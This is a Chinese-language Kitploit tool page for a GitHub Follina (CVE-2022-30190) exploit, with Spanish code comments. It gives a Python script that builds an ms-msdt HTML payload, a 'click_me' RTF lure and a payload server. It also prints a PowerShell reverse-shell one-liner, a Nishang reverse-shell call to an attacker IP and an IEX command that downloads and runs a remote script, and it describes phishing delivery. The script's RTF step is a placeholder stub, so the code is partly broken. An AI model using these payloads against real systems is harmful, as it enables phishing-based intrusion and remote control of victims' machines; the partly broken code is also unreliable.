Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-30190 — 针对CVE-2022-30190(Follina)的自动化PoC漏洞利用,生成恶意RTF/DOCX文件,滥用MSDT协议执行任意命令并通过PowerShell部署反向shell。 | Kitploit
工具/GitHubGitHub/kaleth4/cve-2022-30190
Payload生成漏洞利用Web应用程序漏洞利用钓鱼攻击渗透测试命令与控制
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

针对CVE-2022-30190(Follina)的自动化PoC漏洞利用,生成恶意RTF/DOCX文件,滥用MSDT协议执行任意命令并通过PowerShell部署反向shell。

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Follina(CVE-2022-30190)漏洞利用

Follina(CVE-2022-30190) 是一个严重的远程代码执行(RCE)漏洞,影响 Microsoft 支持诊断工具(MSDT)。该漏洞最初是通过在 VirusTotal 上检测到的一个恶意文件发现的,并由研究员 Kevin Beaumont 命名。

在 HackTheBox 的 Outdated 机器环境中,该漏洞被用作获取系统访问权限的主要入口向量。

漏洞概述

该漏洞利用基于滥用 ms-msdt 协议方案,允许攻击者通过加载外部资源执行任意代码。只需打开或预览特制的 Office 文档(DOCX)或富文本文件(RTF)即可触发攻击。

漏洞利用方法

1. 准备 Exploit

为了自动化攻击,建议使用 GitHub 等平台上可用的概念验证(PoC)脚本。follina.py 脚本可以轻松配置载荷。

建议的仓库: 可使用 John Hammond 或 Edge-Security 等研究人员提供的功能版本。

生成命令:

root@kitploit:~
python3 follina.py -m command -t rtf -c "comando_a_ejecutar"

其中:

  • -m 指定执行模式(command 或 binary)
  • -t 指定文件类型(rtf 或 docx)
  • -c 指定要注入的命令

2. 注入载荷(Payload)

在 Windows 上获取交互式控制台的一种有效方法是注入一条 PowerShell 语句,下载并调用 Nishang 套件中的 reverse shell(Invoke-PowerShellTcp.ps1)。

漏洞利用脚本会生成一个包含 Base64 指令的恶意 HTML 资源,并将其自动托管在本地 Web 服务器(端口 80)上。恶意文档(click_me.rtf)将指向该 URL,以触发 Windows 诊断过程并执行代码。

3. 执行攻击

在真实环境或审计场景中,攻击者可以通过钓鱼或 SMTP 技术(使用 swaks 等工具)将 HTML 资源链接或恶意文档发送给受害者。

当用户交互时(或自动化任务处理该文件时),MSDT 会解释载荷并建立回连到攻击者机器的连接。

获取访问权限

为了接收连接,攻击者需要在 reverse shell 中配置的端口上进行监听(例如使用 netcat 或 rlwrap)。成功利用后,将获得一个具有执行操作用户权限的交互式控制台,从而可以继续进行本地枚举和权限提升。


follina.py 脚本实现

该脚本自动化创建恶意文件(RTF 或 DOCX)的过程,生成利用 ms-msdt 协议方案的 HTML 资源,并启动本地服务器以提供载荷。

代码:follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6]
def generate_payload(command):
    # El comando debe estar codificado en Base64 para ser procesado por MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload que abusa del protocolo ms-msdt [5]
    # Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\""";
    // Relleno adicional para asegurar el procesamiento
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Genera un archivo RTF que apunta al recurso HTML externo [3, 4]
    print(f"[*] Generando archivo malicioso: {filename}")
    # Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url
    with open(filename, "w") as f:
        f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Servidor HTTP activo en el puerto {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]")
    
    args = parser.parse_args()

    # 1. Crear el payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Crear el documento malicioso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_atacante")

    # 3. Iniciar el servidor para recibir la petición [4, 7]
    run_server(args.port)

使用方法说明

关键参数: 如来源中所述,脚本使用 -m 指定模式,-t 指定文件类型,-c 指定命令。

PowerShell 注入: 在 s4vitar 的训练中常见的一种用法是注入一条 PowerShell 语句,下载并调用 Nishang 的 reverse shell(Invoke-PowerShellTcp.ps1)以获得交互式访问。

执行: 当受害者打开或仅预览恶意文件(RTF/DOCX)时,攻击即被触发,导致系统尝试加载 HTML 资源并通过 Microsoft 诊断工具(MSDT)执行命令。

监听: 你需要在 reverse shell 中指定的端口上进行监听(例如使用 netcat),以便在受害机器上的 exploit 被触发后接收连接。


Invoke-PowerShellTcp.ps1 脚本(Nishang)

Invoke-PowerShellTcp.ps1 脚本是 Nishang 套件中最常用的工具之一,用于在 Windows 系统上获取 reverse shell。

1. 获取与准备

原始脚本从 GitHub 上 Nishang 的官方仓库下载。典型的使用步骤如下:

  • 下载: 使用 wget 将资源下载到攻击者的机器上。
  • 重命名: 通常会将其重命名为更短的名字,如 reverse.ps1 或 ps.ps1,以方便从受害机器调用。
  • 自动化执行: 为了使脚本在加载到内存时自动执行,需要在文件末尾添加对主函数的调用。

2. 脚本末尾的调用结构

为了将脚本转换为可自动执行的载荷,需要在 .ps1 文件末尾添加如下一行:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATACANTE> -Port <TU_PUERTO>

其中 <TU_IP_ATACANTE> 和 <TU_PUERTO> 需要替换为你自己的监听信息(例如 10.10.14.29 和 443)。

3. "One-Liner"(单行)版本

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PUERTO>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(注意:此代码遵循"gitbash"和交互式终端的逻辑,这一点在 Compiled 等机器的解题中有所提及)。

4. 远程调用方法(IEX)

当攻击者将脚本托管在本地 HTTP 服务器(端口 80)上后,在受害机器上使用 IEX(Invoke-Expression)命令将其加载并直接在内存中执行,而无需写入磁盘:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"

此方法在利用 Follina 等漏洞或攻陷 Web 服务后获取初始访问权限时至关重要。一旦执行,攻击者将在监听的 netcat 会话中收到连接。

root@kitploit:~
Pwned!!!
下载工具